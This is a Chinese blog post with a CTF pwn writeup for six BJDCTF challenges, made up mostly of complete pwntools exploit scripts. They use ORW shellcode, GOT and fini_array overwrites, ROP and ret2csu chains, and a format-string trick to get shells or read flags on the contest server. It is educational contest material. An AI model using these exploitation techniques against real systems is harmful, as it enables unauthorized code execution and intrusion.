目录
  1. 1. 盲打1 盲打2
  2. 2. Memory Monster I
    1. 2.1. exp
  3. 3. Memory Monster II
  4. 4. Memory Monster III
  5. 5. secret2
  6. 6. easybabystack
BJDCTF pwn writeup

盲打1 盲打2

都是一个c语言解释器,但是不能用()来写c语言,也就是不能调用函数,可以用shellcode的方式来写 orw flag,

原理参考对hello world的重新认识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
ip, port = '183.129.189.60',10002
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
#context.log_level = 'debug'

'''
orw = asm(shellcraft.open("/home/ctf/flag", 0))
orw += asm(shellcraft.read(3, "rsp", 0x20))
orw += asm(shellcraft.write(1, "rsp", 0x20))
orw += asm(shellcraft.exit(0))
print '\\x'+hex(ord(orw[0]))[2:]
'''
orw2=asm(
"""
mov rax,0x2c2c2c2c2c2c
mov rbx,0x4b4d404a034a
xor rax, rbx
push rax
mov rax,0x2c2c2c35352c2c2c
mov rbx,0x584f035058434403
xor rax,rbx
push rax
mov rdi,rsp
mov esi,0x0
mov eax,0x2
xor ecx,ecx
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x50
xor rax,rax
syscall
mov rdi,0x1
mov rax,0x1
syscall
"""
)
print '\\x'+hex(ord(orw2[0]))[2:]
payload='const char main='+str(hex(ord(orw2[0])))+','
for i in range(1,len(orw2)):
if i != len(orw2)-1:
payload+='w'+str(i)+'='+str(hex(ord(orw2[i])))+','
else:
payload+='w'+str(i)+'='+str(hex(ord(orw2[i])))+';'

print payload

#shellcode=asm(shellcraft.sh())
pause()
p=remote(ip,port)
p.recvuntil("(end with '@')")
p.sendline(payload+'@')
print payload
p.can_recv()
p.interactive()

Memory Monster I

任意地址写,故意栈溢出然后会调用__stack_chk_fail函数,修改__stack_chk_fail的got表为后门即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "Memory_Monster_I"
arch = '64'
version = '2.23'
ip, port = '183.129.189.60',10081
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)


#dbg(0x4011EB)

p.recvuntil("addr:")
sleep(0.1)
p.send(p64(0x404028)+"\x00"*0xc0)

p.recvuntil("data:")
sleep(0.1)
p.send(p64(0x40124A))
sleep(0.1)
p.interactive()

Memory Monster II

静态编译了,fini_array劫持为onegadget即可,onegadget苦苦找寻了好久,找到了一个有效的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "Memory_Monster_II"
arch = '64'
version = '2.23'
ip, port = '183.129.189.60',10102
#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)



#dbg(0x46F37F)
dbg(0x4B80B8)

p.recvuntil("addr:")

p.send(p64(0x4B80B0))

p.recvuntil("data:")

p.send(p64(0x46F37F))
p.interactive()

另一种做法参考fmmy师傅题解

fini_array劫持

1
2
fini_array[0]:__libc_csu_fini
fini_array[1]:main函数地址

之后则可以形成一个循环链,然后任意地址写,可以在fini_array[2]之后构建ROP链,最后再将fini_array[0]改成leave_ret,fini_array[1]改成ret执行后续ROP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import*
p = process('./main')
p = remote('183.129.189.60',10100)
def m(address,content):
p.sendlineafter('addr:',p64(address))
p.sendafter('data:',content)

m(0x4B80B0,p64(0x402CB0) + p64(0x401C1D))
pop_rdx_rsi = 0x44BAF9
mov_rax_rdx = 0x41B380
pop_rdi_ret = 0x401746
pop_rdx_ret = 0x448415
syscall = 0x46F745
binsh = 0x492895
leave_ret = 0x401CF3
ret = 0x401016
m(0x4B80B0 + 0x10,p64(pop_rdx_rsi) + p64(59) + p64(0))
m(0x4B80B0 + 0x10 + 0x18,p64(mov_rax_rdx) + p64(pop_rdi_ret) + p64(binsh))
m(0x4B80B0 + 0x10 + 0x18 + 0x18,p64(pop_rdx_ret) + p64(0) + p64(syscall))
m(0x4B80B0,p64(leave_ret) + p64(ret))
p.interactive()

Memory Monster III

这道题当时没有做出来,赛后参考taqini师傅博客,有学到了新的姿势

通过利用fini_array部署并启动ROP攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = 'debug'
pwn_name = "Memory_Monster_III"
arch = '64'
version = '2.23'
ip, port='183.129.189.60',10008

#context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='amd64')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

elf=ELF(pwn_name,checksec=False)
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)

def m(address,content):
p.sendlineafter('addr:',p64(address))
p.sendafter('data:',content)

m(0x4B50B0,p64(0x402CA0) + p64(0x401C1D))

pop_rdx_rsi = 0x44AB09
mov_rax_rdx = 0x41AE80
pop_rdi_ret = 0x401746
pop_rdx_ret = 0x447635
leave_ret = 0x401CF3
ret = 0x401016
mprotect = 0x448420
read = 0x447620

shell_a = 0x4BC100
shell = asm(shellcraft.sh())
m(0x4B50B0 + 0x10,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi))
m(0x4B50B0 + 0x10 + 0x18,p64(0x200) + p64(shell_a) + p64(read))
m(0x4B50B0 + 0x10 + 0x18 + 0x18,p64(pop_rdi_ret) + p64(shell_a -0x100) + p64(pop_rdx_rsi))
m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18,p64(7) + p64(0x1000) + p64(mprotect))
m(0x4B50B0 + 0x10 + 0x18 + 0x18 + 0x18 + 0x18,p64(shell_a))
m(0x4B50B0,p64(leave_ret) + p64(ret) + p64(pop_rdi_ret))

p.sendline(shell)
p.interactive()

secret2

文件描述符最多有1024个,也就是说最多打开文件1024多次,就不能继续打开了,则随机值之后全是0,因此输入”\x00”字节就能通过memcmp检测,然后close(0),memcpy栈溢出, 只能orw flag了,并且此题远程是2.30的。2.23本地调试的时候有点不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# --- auther nocbtm ---
from pwn import *
import sys
#context.log_level = 'debug'
pwn_name = "secret3"
arch = '64'
version = '2.23'
ip, port = '183.129.189.60',10056
#context.terminal = ['tmux', 'splitw', '-h']
#context(os='linux', arch='i386')
if sys.argv[1]=="l":
p=process('./'+pwn_name)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
p=remote(ip,port)
libc=ELF('libc6_2.30-0ubuntu2_amd64.so',checksec=False)

def info(con,leak):
success('{} => {:#x}'.format(con,leak))

elf=ELF(pwn_name,checksec=False)
def dbg(address=0):
if address==0:
gdb.attach(p)
pause()
else:
if address > 0xfffff:
script="b *{:#x}\n".format(address)
else:
script="b *$rebase({:#x})\nc\n".format(address)
gdb.attach(p, script)


def cus_rop(gadget1,gadget2,func_got,rdi,rsi,rdx):
payload = p64(gadget1)
payload += p64(0) #rbx=0
payload += p64(1) #rbp=1
payload += p64(func_got) #r12 call
payload += p64(rdi) #r13 rdx read size
payload += p64(rsi) #r14 rsi
payload += p64(rdx) #r15 edi read canshu
payload += p64(gadget2)
payload += '\x00'*56 #tiao zheng zhan zhen
return payload


#dbg(0x401433)
rdi=0x40161b
ret=0x401016
rsi_r15=0x401619
bss=elf.bss()+0x300
p.recvuntil("name? ________________ #")
sleep(0.1)

payload='a'+p64(0x4021df)
payload+=p64(rdi)+p64(0x4021df)+p64(rsi_r15)+p64(0)+p64(0)+p64(elf.plt["open"])
payload+=cus_rop(0x401612,0x4015F8,elf.got['read'],0,bss,64)
payload+=p64(rdi)+p64(1)+p64(elf.plt["write"])

p.send(payload)
for i in range(1255):
print i
payload="\x00"
p.recvuntil("Secret: _____ #")
p.send(payload)

if i == 1254:
sleep(0.1)
'''
leak=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc.address=leak-0x7fcb248f9690+0x7fcb2488a000
info("leak",leak)
info("libc",libc.address)
sleep(1)
p.recv()
'''
p.interactive()

easybabystack

这题比赛的时候也没做出来,参考fmyy师傅的题解

格式化字符串中 *$连用表示取对应偏移位置的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
context.log_level ='DEBUG'
p= process('./main')
p = remote('183.129.189.60',10001)
p.sendlineafter('username:','%*18$d%5$n')
#gdb.attach(p,"b *0x401512")
p.sendline('1')
pop_rdi_ret = 0x401733
pop_rsi_r15 = 0x401731
binsh =0x404090
system = 0x401110
read_got = 0x404038
gadget_I = 0x40172A
gadget_Ii = 0x401710
payload = 'U'*0x118
payload += p64(gadget_I)
payload += p64(0)
payload += p64(1)
payload += p64(0)
payload += p64(binsh)
payload += p64(8)
payload += p64(read_got)
payload += p64(gadget_Ii)
payload += p64(0)*7
payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.recvuntil('message')
p.sendline(payload)
p.send('/bin/sh\x00')
p.interactive()
文章作者: nocbtm
文章链接: https://nocbtm.github.io/2020/05/25/BJDCTF-pwn-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 nocbtm's Blog
打赏
  • 微信
  • 支付宝